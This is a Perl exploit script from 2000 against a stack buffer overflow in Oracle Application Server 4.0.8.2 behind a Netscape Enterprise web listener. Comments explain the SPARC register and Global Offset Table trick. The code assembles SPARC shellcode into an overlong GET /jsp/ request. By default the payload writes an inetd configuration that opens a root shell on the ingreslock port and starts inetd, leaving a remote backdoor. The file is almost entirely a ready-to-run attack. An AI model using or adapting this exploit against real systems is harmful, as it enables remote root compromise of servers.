#!/usr/bin/perl

#  Oracle application server 4.0.8.2 + Netscape Enterprise 4.0 webserver. Netscape Enterprise webserver has
#  to be configured as external `web listener' for Oracle. Overflow happens when a long string requested
#  with prefix with has been `linked' to oas. by default it is /jsp/. Buffer size is around 2050-60 bytes.
#  Longer URLs cause webserver to hang up (some internal loop?). Actual overflow happens in one of the functions
#  called from ADP_GetReqInfo() (din't bother to find which). 
#
#  Exploitation was a bit tricky because of multithreaded environment so we can not just guess stack. We also
#  have to pass some address in %l4 which would point to a cell of memory containing another address
#  where we can store %i4, and %i5 values. (huh!). This actually allowed us to perform `jump into registry' 
#  trick so we don't have to guess stack address anymore. When ADP_GetReqInfo() returns we have 
#  <ourshellcode + 3232> address in %g7 registry.  What's done here is passing an address to a pointer in G.O.T.
#  in %l4 registry. This address points to another entry in G.O.T., we pass `jmp %g7 - 3232, %g0' and 
#  `or -3232, %g0, $g1' (can be actually any valid opcode)' in %i4 and %i5 so we get these instructions
#  stored at that_address+0x38 and that_address+0x3c in G.O.T. area. Then we just return to that address
# which automagically jumps into our shellcode. Hope addresses in Global Offset Table are stable enough. Let me 
# know if they are not.
#
# -Fyodor
# Fri Sep 15 20:33:41 ICT 2000
# fygrave@tigerteam.net
#
$buf=2223;
#$buf=$ARGV[0] if $ARGV[0];


$cmdline="echo 'ingreslock stream tcp nowait root /bin/sh sh -i' > /tmp/bob; /usr/sbin/inetd -s /tmp/bob";
$cmdline=$ARGV[0] if $ARGV[0];

$align=3;
#$ret="%fd%06%11%28";
$ret="%fd%3b%79%54";


$nop='%80%1b%c0%1f';
$strlen=0x54 + length($cmdline);
$strlen=sprintf "%%%x", $strlen;

$shell=
'%20%bf%ff%ff' .#  start:	bn,a <start-4>			 ! super-doper trick to get current address ;')
'%20%bf%ff%ff' .#  boom:	bn,a  <start>
'%7f%ff%ff%ff' .#  		call boom
'%90%03%e0%48' .#  		add %o7, binksh - boom, %o0       ! put binksh address into %o0
'%92%03%e0%38' .#  		add %o7, argz - boom, %o1         ! put address of argz array into %o1
'%a0%03%e0%51' .#  		add %o7, minusc - boom, %l0       ! put address of -c argument into %l0
'%a2%03%e0%54' .#  		add %o7, cmdline - boom, %l1      ! put address of command line argument into %l1
'%c0%2b%e0%50' .#  		stb %g0, [ %o7 + minusc-boom-1 ]  ! put ending zero byte at the end of /bin/sh
'%c0%2b%e0%53' .#		stb %g0, [ %o7 + cmdline-boom-1 ] ! put ending zero byte at the end of -c
'%c0%2b%e0' . $strlen .#        stb %g0, [ %o7 + endmark-boom-1 ] ! put ending zero byte at the end of command line
'%d0%23%e0%38' .#		st %o0, [ %o7 + argz-boom ]       ! store pointer to ksh into 0 element of argz
'%e0%23%e0%3c' .#		st %l0, [ %o7 + argz-boom+4 ]     ! store pointer to -c into 1 element of argz
'%e2%23%e0%40' .#		st %l1, [ %o7 + argz-boom+8 ]     ! store pointer to cmdline into 2 element of argz
'%c0%23%e0%44' .#		st %g0, [ %o7 + argz-boom+12 ]    ! store NULL pointer at the end
'%82%10%20%0b' .#		mov 0xb, %g1
'%91%d0%20%08' .#		ta 8
'%ff%ff%ff%ff'.  # 40	argz: 0xffffffff;
'%ff%ff%ff%ff'.   # 44	      0xffffffff;
'%ff%ff%ff%ff'.   # 48        0xffffffff;
'%ff%ff%ff%ff'.   # 52	      0xffffffff;
'/bin/kshA' .     # 56  binksh: "/bin/kshA";
'-cA' . $cmdline . 'A'; # cmdline: "blahblahA";

##################################################
# Generate huge GET /..<shellcode>...shtml here  #
##################################################

$padd=($buf-length($shell) - $align);
$nops=int($padd/4);
$padd=$padd-$nops*4;

$shelllen=length($shell);
print STDERR "pad is $padd nops : $nops align: $align , $shelllen\n";
$shell=~ s/ /%20/g; # encode bad characters.. 





$stackframe=
"%fd%e7%6e%08" . # l0 they aren't used but let me look smart :)
"%fd%e7%6e%08" . # l1
"%fd%e7%6e%08" . # l2
"%fd%d7%6e%08" . # l3
#"%fd%d7%6e%08" . # l4 this address also works but you will have to return to 0x00...'
"%fd%3b%40%08" . # l4   just a bogus G.O.T. address
"ABCD" . # l5   bogus stuff to fill in the space..
"EFGH" . # l6
"IJKL" . # l7
"MNOP" . # i0
"QRST" . # i1
"UVWX" . # i2
"YZ12" . # i3
"%81%c1%f2%fc" . # i4  -- jmp %g7 - 3232, %g0
"%82%10%33%60" . # i5  -- or -3232, %g0, %g1 
#(doesn't mean aything has to be something `executable` :-)
"%fd%3b%55%a0" . # fp  -- you may get trashed up with it at times.. hope you wont :)
$ret  # i7
;

# end of voodoo magic. now we print the request..
print "GET /jsp/";
print "A"x$align;
print $nop x $nops;
print "$shell";
print "A"x $padd;
print "$stackframe";
print " HTTP/1.0\n\n";

